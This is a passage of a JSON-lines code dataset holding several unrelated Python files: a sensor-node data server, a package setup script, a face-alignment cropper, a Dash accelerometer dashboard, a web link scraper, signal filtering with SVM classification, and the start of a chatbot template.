self.time_array_secondary[ch][self.wptr_secondary[ch]] = timep\n self.wptr_secondary[ch] += 1\n\n if ((0 == self.buffer_full_secondary[ch]) and\n (self.wptr_secondary[ch] >= self.buffer_size_secondary[ch])):\n self.buffer_full_secondary[ch] = 1\n\n self.wptr_secondary[ch] = (self.wptr_secondary[ch] %\n self.buffer_size_secondary[ch])\n if use_lock:\n self.lock_secondary[ch].release()\n\n def push_chunk_secondary(self, ch, timeps, values):\n \"\"\" Push a chunk of new samples into a secondary data buffer.\n\n Args:\n ch: secondary data channel index\n timeps: list of time stamps for new values\n values: list of new values\n \"\"\"\n\n self.lock_secondary[ch].acquire()\n for t, v in zip(timeps, values):\n self.push_sample_secondary(ch, t, v, use_lock=False)\n self.lock_secondary[ch].release()\n\n def is_valid_request(self, request):\n \"\"\" Asserts that the given request is valid.\n\n Args:\n request: dict containing the unpacked JSON request\n\n Returns:\n True if request is valid, otherwise False\n \"\"\"\n # Start by assuming the request is valid\n metric_ok = True\n arguments_ok = True\n channels_ok = True\n time_ok = True\n\n if 'type' in request:\n metric_ok = request['type'] in self.metric_names\n\n if 'arguments' in request:\n try:\n n = inspect.ismethod(self.metric_pointers[request['type']]) + 1\n fun = inspect.getargspec(self.metric_pointers[request['type']])\n arguments_ok = len(request['arguments']) <= len(fun.args) - n\n except:\n arguments_ok = False\n\n if 'channels' in request:\n try:\n channels_ok = set(\n self.channel_names +\n self.channel_names_secondary).issuperset(\n request['channels'])\n except:\n channels_ok = False\n\n if 'time_window' in request:\n try:\n time_ok = all(\n [isinstance\n (t, (float, int))\n for t in request['time_window']])\n except:\n time_ok = False\n\n return metric_ok and arguments_ok and channels_ok and time_ok\n\n def get_channel_list(self, requests):\n \"\"\" Returns an intersection of requested channels and existing channels.\n\n Args:\n requests : list of requests\n Returns:\n channels : list of requested channels\n \"\"\"\n channels = []\n for request in requests:\n if 'channels' in request:\n channels.extend(request['channels'])\n return list(set.intersection(set(channels),\n set(self.channel_names +\n self.channel_names_secondary)))\n\n def get_data_from_channel(self, channel_name):\n \"\"\" Copy and unwrap data from specified channel\n\n Args:\n channel_name : name of the channel\n Returns:\n data array of samples\n times array of timestamps\n \"\"\"\n if channel_name in self.channel_names:\n time_array = self.time_array[:]\n data = self.channel_data[self.channel_names.index(channel_name)][:]\n\n elif channel_name in self.channel_names_secondary:\n idx = self.channel_names_secondary.index(channel_name)\n time_array = self.time_array_secondary[idx][:]\n data = self.channel_data_secondary[idx][:]\n\n unwrap_idx = self.unwrap_channel(channel_name)\n\n time_array = [time_array[i] for i in unwrap_idx]\n time_array = [abs(i - time_array[-1]) for i in time_array]\n data = [data[i] for i in unwrap_idx]\n\n return data, time_array\n\n def lock_all_secondary(self):\n \"\"\" Locks all channels of the secondary buffer. \"\"\"\n [lock.acquire() for lock in self.lock_secondary]\n\n def release_all_secondary(self):\n \"\"\" Releases all channels of the secondary buffer. \"\"\"\n [lock.release() for lock in self.lock_secondary]\n\n def snapshot_data(self, channels):\n \"\"\" Copies specified data channels.\n\n Args:\n channels : list of channels\n Returns:\n snapshot : data and times for each channel\n \"\"\"\n self.lock_primary.acquire()\n self.lock_all_secondary()\n snapshot = {}\n for channel in channels:\n data, time = self.get_data_from_channel(channel)\n snapshot[channel] = (data, time)\n self.lock_primary.release()\n self.release_all_secondary()\n return snapshot\n\n def unpack_snapshot(self, snapshot, channels, time_window):\n \"\"\" Extracts speciefied channels and time-windows from a snapshot\n\n Args:\n snapshot a snapshot of data\n channels list of channels\n time_window two-element list specifying the time-window\n \"\"\"\n times = []\n data = []\n if time_window:\n if len(time_window) == 1:\n time_window = [time_window[0], time_window[0]]\n time_window[1] = time_window[0] - time_window[1]\n for channel in map(snapshot.get, channels):\n if time_window:\n start, stop = mu.find_range(channel[1], time_window)\n data.append(channel[0][start:stop])\n times.append(channel[1][start:stop])\n else:\n data.append(channel[0])\n times.append(channel[1])\n return data, times\n\n def handle_metric(self, requests):\n \"\"\" Function for processing incoming metric requests\n\n Args:\n requests: JSON-formatted request or a list of multiple metric\n requests\n\n Returns:\n JSON-formatted result string\n \"\"\"\n try:\n requests = json.loads(requests)\n except ValueError:\n return json.dumps({'Error': \"Can't unpack request(s)!\"})\n\n # Wrap singular request into a list\n if isinstance(requests, dict):\n requests = [requests]\n\n channels = self.get_channel_list(requests)\n snapshot = self.snapshot_data(channels)\n\n results = []\n for request in requests:\n if 'type' in request and self.is_valid_request(request):\n\n if 'time_window' in request:\n time_window = request['time_window']\n else:\n time_window = None\n\n if 'channels' in request:\n data, times = self.unpack_snapshot(snapshot,\n request['channels'],\n time_window)\n else:\n data = []\n times = []\n\n if 'arguments' in request:\n arguments = request['arguments']\n else:\n arguments = []\n\n data = {'data': data, 'time': times}\n result = self.metric_pointers[request['type']](data, *arguments)\n request['return'] = result\n else:\n request['return'] = \"Malformed request!\"\n\n results.append(request)\n\n return json.dumps(results)\n\n def handle_data(self, requests):\n \"\"\" Processes incoming data request\n\n Args:\n requests: JSON-formatted request or a list of multiple data requests\n Returns:\n JSON-formatted result string\n \"\"\"\n try:\n requests = json.loads(requests)\n except ValueError:\n return json.dumps({'Error': \"Can't unpack request(s)!\"})\n\n if isinstance(requests, dict):\n requests = [requests]\n\n channels = self.get_channel_list(requests)\n snapshot = self.snapshot_data(channels)\n\n results = []\n for request in requests:\n if self.is_valid_request(request):\n if 'channels' in request:\n channels = request['channels']\n\n if 'time_window' in request:\n time_window = request['time_window']\n else:\n time_window = None\n\n data, times = self.unpack_snapshot(snapshot, channels,\n time_window)\n this_data = {}\n for idx, ch in enumerate(channels):\n this_data[ch] = {'data': data[idx], 'time': times[idx]}\n request['return'] = this_data\n else:\n request['return'] = \"Malformed request!\"\n results.append(request)\n\n return json.dumps(results)\n\n def handle_command(self, command):\n \"\"\" Handling function for commands\n\n Args:\n command: a command (currently some very bugged format)\n Returns:\n return_value: return value of the command\n \"\"\"\n\n if command == \"get_metric_list\":\n return_value = self.get_metric_list()\n elif command == \"get_nodeinfo\":\n return_value = self.get_nodeinfo()\n elif command == \"get_publisher\":\n return_value = self.get_publisher_url()\n elif command == \"get_data_list\":\n return_value = self.get_data_list()\n elif command == \"get_topic_list\":\n return_value = self.get_topic_list()\n else:\n return_value = \"unknown command\"\n\n return json.dumps(return_value)\n\n # -------------------------------------------------------------------------\n # Start the node\n # -------------------------------------------------------------------------\n def start(self):\n \"\"\" Start the node. \"\"\"\n self.run_state.value = 1\n\n # Add user-defined metrics to the metric list\n self.generate_metric_lists()\n\n # Create and configure beacon\n self.beacon = mu.Beacon(\n name=self.nodename,\n type=self.nodetype,\n id=self.nodeid,\n interval=2)\n self.beacon.ip = self.ip\n self.beacon.port = self.port_frontend\n\n # Start the load-balancing broker\n self.proc_broker = mp.Process(\n target=mu.LRU_queue_broker,\n args=(self.url_frontend,\n self.url_backend,\n self.n_workers,\n self.run_state))\n self.proc_broker.start()\n\n # Start the publisher if it is configured\n if self.run_publisher:\n self.proc_publisher = mp.Process(target=self.publisher)\n self.proc_publisher.start()\n\n # If the node is a primary node, start the receiver\n if self.primary_node:\n self.proc_receiver = mp.Process(target=self.receiver)\n self.proc_receiver.start()\n\n # Start responders\n self.proc_responder_list = [0] * self.n_workers\n\n for i in range(self.n_workers):\n self.proc_responder_list[i] = mp.Process(target=self.responder,\n args=(i,))\n self.proc_responder_list[i].start()\n\n # Start user-defined processes, if there are any\n self.proc_user_list = [0] * len(self.process_list)\n\n for i, fn in enumerate(self.process_list):\n self.proc_user_list[i] = mp.Process(target=fn)\n self.proc_user_list[i].start()\n\n # Set the beacon online\n self.beacon.set_status('online')\n self.beacon.start()\n\n time.sleep(5)\n print(\"Node '%s' now online.\" % self.nodename)\n\n # -------------------------------------------------------------------------\n # Stop the node\n # -------------------------------------------------------------------------\n def stop(self):\n \"\"\" Terminates the node. \"\"\"\n if self.run_state.value:\n\n print(\"Node '%s' shutting down ...\" % self.nodename)\n\n self.beacon.set_status('offline')\n self.run_state.value = 0\n\n # Terminate responders\n for i in self.proc_responder_list:\n i.terminate()\n\n # Terminate user-defined processes, if there are any\n for i in self.proc_user_list:\n i.terminate()\n\n # Terminate broker\n self.proc_broker.join()\n\n # Stop receiver if it is running\n if self.primary_node:\n self.proc_receiver.join()\n\n # Stop the publisher if it is running\n if self.run_publisher:\n self.proc_publisher.join()\n\n # Stop the beacon\n self.beacon.stop()\n\n else:\n print(\"Node '%s' is not running.\" % self.nodename)\n\n print(\"Node '%s' is now offline.\" % self.nodename)\n\n # -------------------------------------------------------------------------\n # Minimalist user interface for the node\n # -------------------------------------------------------------------------\n def show_ui(self):\n \"\"\" Show a minimal user interface. \"\"\"\n while True:\n tmp = input(\" > \")\n if tmp == \"q\":\n self.stop()\n sys.exit(0)\n\n # -------------------------------------------------------------------------\n # Generate metric list\n # -------------------------------------------------------------------------\n def generate_metric_lists(self):\n \"\"\" Generate metric lists for the node.\n\n metric_functions : pointers to functions used to calculate\n metrics (array)\n metric_names : the names of the metrics (array)\n metric_descriptions : dict with function names as key and\n description as value\n metric_pointers : dict with function names as key and function\n pointer as value\n \"\"\"\n\n def check_num_args(fun_handle):\n n_args = len(inspect.getargspec(fun_handle).args)\n if inspect.ismethod(fun_handle) and n_args >= 2:\n return True\n elif not inspect.ismethod(fun_handle) and n_args >= 1:\n return True\n else:\n return False\n\n self.metric_names = [func.__name__ for func in self.metric_functions]\n docs = [func.__doc__ for func in self.metric_functions]\n self.metric_descriptions = dict(zip(self.metric_names, docs))\n self.metric_pointers = dict(zip(self.metric_names,\n self.metric_functions))\n # Finally check if each metric function has at least one argument\n for metric in self.metric_functions:\n if not check_num_args(metric):\n raise AttributeError('Metric function has no arguments')\n\n def generate_nodeinfo(self):\n \"\"\" Stores all node information in a dict \"\"\"\n self.nodeinfo = {}\n self.nodeinfo['name'] = self.nodename\n self.nodeinfo['desc'] = self.nodedesc\n self.nodeinfo['primary_node'] = self.primary_node\n self.nodeinfo['channel_count'] = self.n_channels\n self.nodeinfo['channel_names'] = \",\".join(self.channel_names)\n self.nodeinfo['channel_descriptions'] = \",\".join(\n self.channel_descriptions)\n self.nodeinfo['sampling_rate'] = self.sampling_rate\n self.nodeinfo['buffer_size'] = self.buffer_size_s\n self.nodeinfo['buffer_full'] = self.buffer_full.value\n\n # -------------------------------------------------------------------------\n # Return descriptions of the metrics\n # -------------------------------------------------------------------------\n def get_metric_list(self):\n \"\"\" Returns the metrics list of the node as a dictionary where the name\n of the metric is the key and the description is the value.\n \"\"\"\n return self.metric_descriptions\n # -------------------------------------------------------------------------\n\n def get_topic_list(self):\n \"\"\" Return topics that are published by the node. \"\"\"\n return self.topic_list\n\n # -------------------------------------------------------------------------\n\n def get_nodeinfo(self):\n \"\"\" Return information about the node. \"\"\"\n self.generate_nodeinfo()\n return self.nodeinfo\n # -------------------------------------------------------------------------\n\n def get_publisher_url(self):\n \"\"\" Return the URL of the publisher socket in the node. \"\"\"\n return self.url_publisher\n # -------------------------------------------------------------------------\n\n def get_data_list(self):\n \"\"\" Returns the data list of the node as a dictionary where the name of\n the data is the key and the description is the value.\n \"\"\"\n cn = self.channel_names + self.channel_names_secondary\n cd = self.channel_descriptions + self.channel_descriptions_secondary\n return dict(zip(cn, cd))\n # -------------------------------------------------------------------------\n","sub_path":"midas/node.py","file_name":"node.py","file_ext":"py","file_size_in_byte":33698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"575569097","text":"import setuptools\nimport os\nimport re\nimport sys\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\ndef get_version():\n \"\"\"Get current version from code.\"\"\"\n regex = r\"__version__\\s=\\s\\\"(?P[\\d\\.]+?)\\\"\"\n path = (\"ziggonext\", \"__version__.py\")\n return re.search(regex, read(*path)).group(\"version\")\n\ndef read(*parts):\n \"\"\"Read file.\"\"\"\n filename = os.path.join(os.path.abspath(os.path.dirname(__file__)), *parts)\n sys.stdout.write(filename)\n with open(filename, encoding=\"utf-8\", mode=\"rt\") as fp:\n return fp.read()\n\nsetuptools.setup(\n name=\"ziggonext\",\n version=get_version(),\n author=\"Rudolf Offereins\",\n author_email=\"r.offereins@gmail.com\",\n description=\"Python client for Ziggo Next settop boxes\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/sholofly/ziggo-next\",\n packages=setuptools.find_packages(include=[\"ziggonext\"]),\n license=\"MIT license\",\n install_requires=[\"paho-mqtt>=1.5.0\", \"requests>=2.22.0\"],\n keywords=[\"ziggonext\", \"api\", \"settopbox\"],\n classifiers=[\n \"Development Status :: 3 - Alpha\",\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n \"Natural Language :: English\",\n \"Intended Audience :: Developers\",\n \"Programming Language :: Python :: 3.6\",\n \"Programming Language :: Python :: 3.7\",\n \"Programming Language :: Python :: 3\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n ],\n python_requires='>=3.6',\n zip_safe=False,\n include_package_data=True,\n)","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"23439758","text":"import pandas\nimport dlib\nimport numpy as np\nimport cv2\nfrom skimage import io\nimport codecs\n\nsrc_path = 'C:/Users/Pedro/Desktop/Smile/files/CVPR_2016_SMILES_DATA/'\nimage_path = 'datasets_None_513d3061-b379-4efb-872d-eb2eb58a9afb_track3_testing/track3_all/'\n\ndata = pandas.read_csv(src_path + 'test_gt.csv', delimiter=',')\n\naligner_path = 'shape_predictor_68_face_landmarks.dat'\naligner = dlib.shape_predictor(aligner_path)\n# face_rec_model_path = 'dlib_face_recognition_resnet_model_v1.dat'\naligner_targets = np.loadtxt('targets_symm.txt')\ndetector = dlib.get_frontal_face_detector()\n# win = dlib.image_window()\n\nfor i in range(0, 8505):\n name = data['image_name'][i]\n src_img = io.imread(src_path + image_path + data['image_name'][i], mode='RGB')\n # src_detected_faces = detector(src_img, 1)\n left = data[' bbox_x'][i]\n top = data[' bbox_y'][i]\n right = data[' bbox_x'][i] + data[' bbox_width'][i]\n bottom = data[' bbox_y'][i] + data[' bbox_height'][i]\n rect = dlib.rectangle(int(left), int(top), int(right), int(bottom))\n src_landmarks = aligner(src_img, rect)\n # win.clear_overlay()\n # win.set_image(src_img)\n # win.clear_overlay()\n # win.add_overlay(rect)\n # win.add_overlay(aligner_targets)\n\n # if len(src_detected_faces) > 0:\n # if(True):\n src_landmarks = [[src_landmarks.part(k).x, src_landmarks.part(k).y] for k in range(src_landmarks.num_parts)]\n\n # 3. ALIGN\n first_idx = 0\n B = aligner_targets[first_idx:, :]\n src_landmarks = src_landmarks[first_idx:]\n A = np.hstack((np.array(src_landmarks), np.ones((len(src_landmarks), 1))))\n X, res, rank, s = np.linalg.lstsq(A, B)\n warped = cv2.warpAffine(src_img, X.T, (224, 224))\n\n # 4. SAVE\n io.imsave(src_path + \"CROPS_OLD_METHOD/\" + str(data[' Smile'][i]) + \"/\" + data['image_name'][i], warped)","sub_path":"Research Projects/Smile detection/CVPR_2016_SMILES_DATA/crop_separate_pics.py","file_name":"crop_separate_pics.py","file_ext":"py","file_size_in_byte":1826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"178549974","text":"import dash\nimport dash_daq as daq\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output, State\nimport dash_core_components as dcc\n\nfrom Phidget22.Devices.Accelerometer import Accelerometer\napp = dash.Dash()\n\napp.config['suppress_callback_exceptions'] = True\n\nserver = app.server\n\nch = Accelerometer()\n\napp.layout = html.Div([\n dcc.Interval(id=\"upon-load\", interval=1000, n_intervals=0),\n dcc.Interval(id=\"stream\", interval=500, n_intervals=0),\n html.Div([\n html.H2(\"Accelerometer Control Panel\",\n style={'color': '#1d1d1d',\n 'margin-left': '2%',\n 'display': 'inline-block',\n 'text-align': 'center'}),\n html.Img(src=\"https://s3-us-west-1.amazonaws.com/plotly-tutorials/\" +\n \"excel/dash-daq/dash-daq-logo-by-plotly-stripe.png\",\n style={'position': 'relative',\n 'float': 'right',\n 'right': '10px',\n 'height': '75px'})\n ], className='banner', style={\n 'height': '75px',\n 'margin': '0px -10px 10px',\n 'background-color': '#EBF0F8',\n }),\n html.Div([\n html.H3(\"Phidget Info\", className=\"six columns\"),\n ], className='row Title'),\n html.Div([\n html.Div([\n html.Div(\"Attached:\", className=\"two columns\"),\n html.Div(\"Disconnected\",\n id=\"device-attached\",\n className=\"nine columns\"),\n daq.Indicator(\n id=\"connection-est\",\n value=False,\n className=\"one columns\",\n style={'margin': '6px'}\n )\n ], className=\"row attachment\"),\n html.Hr(style={'marginBottom': '0', 'marginTop': '0'}),\n html.Div([\n html.Div(\"Version:\", className=\"two columns\"),\n html.Div(\"Disconnected\",\n id=\"device-version\",\n className=\"four columns\"),\n html.Div(\"Serial Number:\", className=\"two columns\"),\n html.Div(\"Disconnected\", id=\"device-serial\")\n ], className=\"row version-serial\"),\n html.Div([\n html.Div(\"Channel: \", className=\"two columns\"),\n html.Div(\"Disconnected\",\n id=\"device-channel\",\n className=\"four columns\"),\n ], className=\"row channel\")\n ]),\n\n html.Div([\n html.Div([\n html.Div([\n html.H3(\"Settings\")\n ], className='Title'),\n html.Div([\n html.Div(id=\"channel-name\"),\n html.Div([\n html.Div([\n \"Change Interval\"\n ], className=\"three columns\", style={'marginTop': '10px'}),\n html.Div([\n daq.Slider(\n id=\"change-slider\",\n value=0,\n min=1,\n max=16,\n step=0.01,\n marks={i: str(i) for i in range(1, 17)},\n className=\"eleven columns\")\n ], className=\"seven columns\", style={'marginTop': '15px'}),\n html.Div([\n daq.LEDDisplay(\n id=\"change-display\",\n value=1.00,\n size=10,\n style={'textAlign': 'center'})\n ], className=\"two columns\", style={'marginTop': '6px'})\n ], className=\"row stuff\", style={'margin': '5px 0'}),\n html.Div([\n html.Div([\n \"Data Interval\"\n ], className=\"three columns\", style={'marginTop': '10px'}),\n html.Div([\n daq.Slider(\n id=\"data-slider\",\n value=1000,\n min=0,\n max=1000,\n step=None,\n marks={0: \"0\", 1000: \"1000\"},\n className=\"eleven columns\"),\n ], className=\"seven columns\", style={'marginTop': '15px'}),\n html.Div([\n daq.LEDDisplay(\n id=\"data-display\",\n value=500,\n size=10,\n style={'textAlign': 'center', 'marginTop': '5px'},)\n ], className=\"two columns\",)\n ], className=\"row stuff\"),\n ]),\n ], className=\"six columns\"),\n\n html.Div([\n html.Div([\n html.H3(\"G-Force\")\n ], className='Title'),\n html.Div([\n html.Div([\n html.Div(\n \"X-axis:\",\n style={'textAlign': 'right'},\n className=\"three columns\"),\n html.Div(\n id=\"x-value\",\n className=\"one columns\",\n style={'marginRight': '20px'}),\n html.Div(\n \"g\",\n className=\"one columns\")\n ], className=\"row\"),\n html.Div([\n html.Div(\n \"Y-axis:\",\n style={'textAlign': 'right'},\n className=\"three columns\"),\n html.Div(\n id=\"y-value\",\n className=\"one columns\",\n style={'marginRight': '20px'}),\n html.Div(\n \"g\",\n className=\"one columns\")\n ], className=\"row\"),\n html.Div([\n html.Div(\n \"Z-axis:\",\n style={'textAlign': 'right'},\n className=\"three columns\"),\n html.Div(\n id=\"z-value\",\n className=\"one columns\",\n style={'marginRight': '20px'}),\n html.Div(\n \"g\",\n className=\"one columns\")\n ], className=\"row\"),\n html.Div([\n html.Div(\n \"Time Stamp:\",\n style={'textAlign': 'right'},\n className=\"three columns\"),\n html.Div(\n id=\"time-stamp\",\n className=\"one columns\",\n style={'marginRight': '10px'}),\n html.Div(\n \"s\",\n className=\"one columns\")\n ], className=\"row\"),\n ]),\n ], className=\"six columns\"),\n ], className=\"row info\"),\n\n html.Div([\n html.H3(\"Data\")\n ], className='Title'),\n html.Div([\n html.Div([\n html.Div([\n daq.Gauge(\n id=\"x-gauge\",\n label=\"X-axis\",\n labelPosition=\"bottom\",\n units=\"g\",\n value=0,\n min=-8,\n max=8,\n showCurrentValue=True\n )\n ], className='six columns', style={'margin-bottom': '15px'}),\n\n html.Div([\n daq.Gauge(\n id=\"y-gauge\",\n label=\"Y-axis\",\n labelPosition=\"bottom\",\n units=\"g\",\n value=0,\n min=-8,\n max=8,\n showCurrentValue=True,\n )\n ], className='six columns'),\n ], style={'margin': '15px 0'})\n ], className='row x-y'),\n html.Div([\n html.Div([\n html.Div([\n daq.Gauge(\n id=\"z-gauge\",\n label=\"Z-axis\",\n labelPosition=\"bottom\",\n units=\"g\",\n value=0,\n min=-8,\n max=8,\n showCurrentValue=True,\n )\n ], className='six columns'),\n ])\n ], className='row z'),\n], style={'padding': '0px 10px 15px 10px',\n 'marginLeft': 'auto', 'marginRight': 'auto', \"width\": \"900px\",\n 'boxShadow': '0px 0px 5px 5px rgba(204,204,204,0.4)'})\n\n\n@app.callback(Output(\"x-value\", \"children\"),\n [Input(\"stream\", \"n_intervals\")],\n [State(\"connection-est\", \"value\")])\ndef stream_x(_, connection):\n if connection:\n return str(ch.getAcceleration()[0])\n return str(0)\n\n\n@app.callback(Output(\"y-value\", \"children\"),\n [Input(\"stream\", \"n_intervals\")],\n [State(\"connection-est\", \"value\")])\ndef stream_y(_, connection):\n if connection:\n return str(ch.getAcceleration()[1])\n return str(0)\n\n\n@app.callback(Output(\"z-value\", \"children\"),\n [Input(\"stream\", \"n_intervals\")],\n [State(\"connection-est\", \"value\")])\ndef stream_z(_, connection):\n if connection:\n return str(ch.getAcceleration()[2])\n return str(0)\n\n\n@app.callback(Output(\"time-stamp\", \"children\"),\n [Input(\"stream\", \"n_intervals\")])\ndef time_stamp(time):\n return str(time)\n\n\n@app.callback(Output(\"x-gauge\", \"value\"),\n [Input(\"stream\", \"n_intervals\")],\n [State(\"connection-est\", \"value\")])\ndef stream_xgauge(_, connection):\n if connection:\n return ch.getAcceleration()[0]\n\n\n@app.callback(Output(\"y-gauge\", \"value\"),\n [Input(\"stream\", \"n_intervals\")],\n [State(\"connection-est\", \"value\")])\ndef stream_ygauge(_, connection):\n if connection:\n return ch.getAcceleration()[1]\n\n\n@app.callback(Output(\"z-gauge\", \"value\"),\n [Input(\"stream\", \"n_intervals\")],\n [State(\"connection-est\", \"value\")])\ndef stream_zgauge(_, connection):\n if connection:\n return ch.getAcceleration()[2]\n\n\n@app.callback(Output(\"device-attached\", \"children\"),\n [Input(\"connection-est\", \"value\")])\ndef device_name(connection):\n if connection:\n return str(ch.getDeviceName())\n\n\n@app.callback(Output(\"device-version\", \"children\"),\n [Input(\"connection-est\", \"value\")])\ndef device_version(connection):\n if connection:\n return str(ch.getDeviceVersion())\n\n\n@app.callback(Output(\"device-serial\", \"children\"),\n [Input(\"connection-est\", \"value\")])\ndef device_serial_number(connection):\n if connection:\n return str(ch.getDeviceSerialNumber())\n\n\n@app.callback(Output(\"device-channel\", \"children\"),\n [Input(\"connection-est\", \"value\")])\ndef device_channel(connection):\n if connection is True:\n return str(ch.getChannel())\n\n\n@app.callback(Output(\"connection-est\", \"value\"),\n [Input(\"upon-load\", \"n_intervals\")])\ndef connection_established(_):\n try:\n ch.openWaitForAttachment(5000)\n except:\n return False\n if ch.getDeviceName() is not None:\n return True\n\n\n@app.callback(Output(\"upon-load\", \"interval\"),\n [Input(\"upon-load\", \"n_intervals\"),\n Input(\"connection-est\", \"value\")])\ndef load_once(_, connection):\n if connection is True:\n return 3.6E6\n return 1000\n\n\n@app.callback(Output(\"change-display\", \"value\"),\n [Input(\"change-slider\", \"value\")])\ndef update_change_display(value):\n ch.setAccelerationChangeTrigger(value)\n return value\n\n\n@app.callback(Output(\"data-display\", \"value\"),\n [Input(\"data-slider\", \"value\")])\ndef update_data_display(value):\n return value\n\n\n@app.callback(Output(\"stream\", \"interval\"),\n [Input(\"data-slider\", \"value\")])\ndef update_interval(value):\n if value is 0:\n return 3.6E6\n return value\n\n\n@app.callback(Output(\"change-slider\", \"value\"),\n [Input(\"connection-est\", \"value\")])\ndef update_slider1(connection):\n if connection:\n return ch.getAccelerationChangeTrigger()\n\n\nexternal_css = [\"https://codepen.io/chriddyp/pen/bWLwgP.css\",\n \"https://cdn.rawgit.com/samisahn/dash-app-stylesheets/\" +\n \"0925c314/dash-accelerometer.css\",\n \"https://fonts.googleapis.com/css?family=Dosis\"]\n\nfor css in external_css:\n app.css.append_css({\"external_url\": css})\n\nif __name__ == '__main__':\n app.run_server(port=9000, debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":12661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"147197243","text":"import requests\nfrom bs4 import BeautifulSoup\n\ndef get_html_source(url):\n source = requests.get(url) # Response olarak Dönüş yapıyor\n return source.text # Response dan Plain Text'e çevirip yolluyoruz\n\ndef get_links_from_html(html):\n soup = BeautifulSoup(html, \"html.parser\") # Yardımcı Library HTML i ayrıştırabiliyor\n tags = soup.find_all('a') # gibi link taglerini alıyor\n # soup.find_all('a', {'class' : 'bir class'}) class ları bir class olanları alır\n links = []\n for link in tags:\n links.append(link.get('href')) # href='' içindeki linki alıyor\n # link.string yazarsak Değerini alırız yani Yazı Yazı'yı alır\n return links\n\nprint(get_links_from_html(get_html_source(\"https://www.youtube.com\"))) # Youtube'daki linkleri al :)\n\n","sub_path":"GetSourceCode.py","file_name":"GetSourceCode.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"308133861","text":"\n# coding: utf-8\n\n# In[12]:\n\nimport numpy as np\nimport pandas as pd\nimport math\nfrom copy import copy\nfrom sklearn.utils import shuffle\nfrom sklearn import svm\nfrom sklearn.svm import SVC\nfrom sklearn import preprocessing\nfrom sklearn.cross_validation import KFold\nfrom sklearn.cross_validation import StratifiedShuffleSplit\nfrom sklearn.decomposition import PCA\nfrom sklearn.grid_search import GridSearchCV\n\nrandom_state = 6598\n\nclass LowPassFilter(object):\n\n def __init__(self, alpha):\n self.__setAlpha(alpha)\n self.__y = self.__s = None\n\n def __setAlpha(self, alpha):\n alpha = float(alpha)\n if alpha<=0 or alpha>1.0:\n raise ValueError(\"alpha (%s) should be in (0.0, 1.0]\"%alpha)\n self.__alpha = alpha\n\n def __call__(self, value, timestamp=None, alpha=None): \n if alpha is not None:\n self.__setAlpha(alpha)\n if self.__y is None:\n s = value\n else:\n s = self.__alpha*value + (1.0-self.__alpha)*self.__s\n self.__y = value\n self.__s = s\n return s\n\n def lastValue(self):\n return self.__y\n\n\nclass OneEuroFilter(object):\n\n def __init__(self, freq, mincutoff=1.0, beta=0.0, dcutoff=1.0):\n if freq<=0:\n raise ValueError(\"freq should be >0\")\n if mincutoff<=0:\n raise ValueError(\"mincutoff should be >0\")\n if dcutoff<=0:\n raise ValueError(\"dcutoff should be >0\")\n self.__freq = float(freq)\n self.__mincutoff = float(mincutoff)\n self.__beta = float(beta)\n self.__dcutoff = float(dcutoff)\n self.__x = LowPassFilter(self.__alpha(self.__mincutoff))\n self.__dx = LowPassFilter(self.__alpha(self.__dcutoff))\n self.__lasttime = None\n \n def __alpha(self, cutoff):\n te = 1.0 / self.__freq\n tau = 1.0 / (2*math.pi*cutoff)\n return 1.0 / (1.0 + tau/te)\n\n def __call__(self, x, timestamp=None):\n # ---- update the sampling frequency based on timestamps\n if self.__lasttime and timestamp:\n self.__freq = 1.0 / (timestamp-self.__lasttime)\n self.__lasttime = timestamp\n # ---- estimate the current variation per second\n prev_x = self.__x.lastValue()\n dx = 0.0 if prev_x is None else (x-prev_x)*self.__freq # FIXME: 0.0 or value?\n edx = self.__dx(dx, timestamp, alpha=self.__alpha(self.__dcutoff))\n # ---- use it to update the cutoff frequency\n cutoff = self.__mincutoff + self.__beta*np.fabs(edx)\n # ---- filter the given value\n return self.__x(x, timestamp, alpha=self.__alpha(cutoff))\n\ndef checkAccuracy(predicted,goldset):\n predicted=predicted.tolist()\n goldset=goldset.tolist()\n correct=0\n for i in range(0,len(predicted)):\n if goldset[i]==predicted[i]:\n correct+=1\n \n return (float(correct)/len(predicted))*100\n\ndef CustomScatter(x,colors,i,title1,xl,yl):\n palette = np.array(sns.color_palette(\"hls\",10))\n \n ax = plt.subplot(1, 2, i)\n plt.title(title1)\n sc=ax.scatter(x[:,0],x[:,1],lw=0,s=40,c=palette[colors.astype(np.int)])\n plt.xlim(xl,yl)\n plt.ylim(xl,yl)\n\narr=np.load('data/second_third_unprocessed.npy')\n\ntrain = arr[:, 0:8]\nlabels = arr[:,8]\n\nduration = 1.0 # seconds\nconfig = {\n 'freq': 200, # Hz\n 'mincutoff': 0.8, # FIXME\n 'beta': 0.4, # FIXME\n 'dcutoff': 1.0 # this one should be ok\n}\n \nf = OneEuroFilter(**config)\ntimestamp = 20 # seconds\nwhile timestamp 1:\n template[\"Tickets_booked\"].append(\"Congrats \" + str(slots[0][1]) + \" ! Your tickets are booked\")\n elif int(slots[1][1])==1:\n template[\"Tickets_booked\"].append(\"Congrats \" + str(slots[0][1]) + \" ! Your ticket has been booked\")\n if int(slots[1][1]) > 1:\n template[\"Tickets_booked\"].append(\"Nice \" + str(slots[0][1]) + \" ! Your tickets are booked\")\n elif int(slots[1][1])==1:\n template[\"Tickets_booked\"].append(\"Nice \" + str(slots[0][1]) + \" ! Your ticket has been booked\")\n \n\n \n # Build at least two templates for each dialogue state that your chatbot might use.\n \"\"\"templates[\"greetings\"] = []\n templates[\"greetings\"].append(\"Hi, welcome to 421Pizza! What would you like to order?\")\n \n templates[\"clarification\"] = []\n templates[\"clarification\"].append(\"Just double-checking ...did you say that you want pizzas?\")\"\"\"\n \n # When you 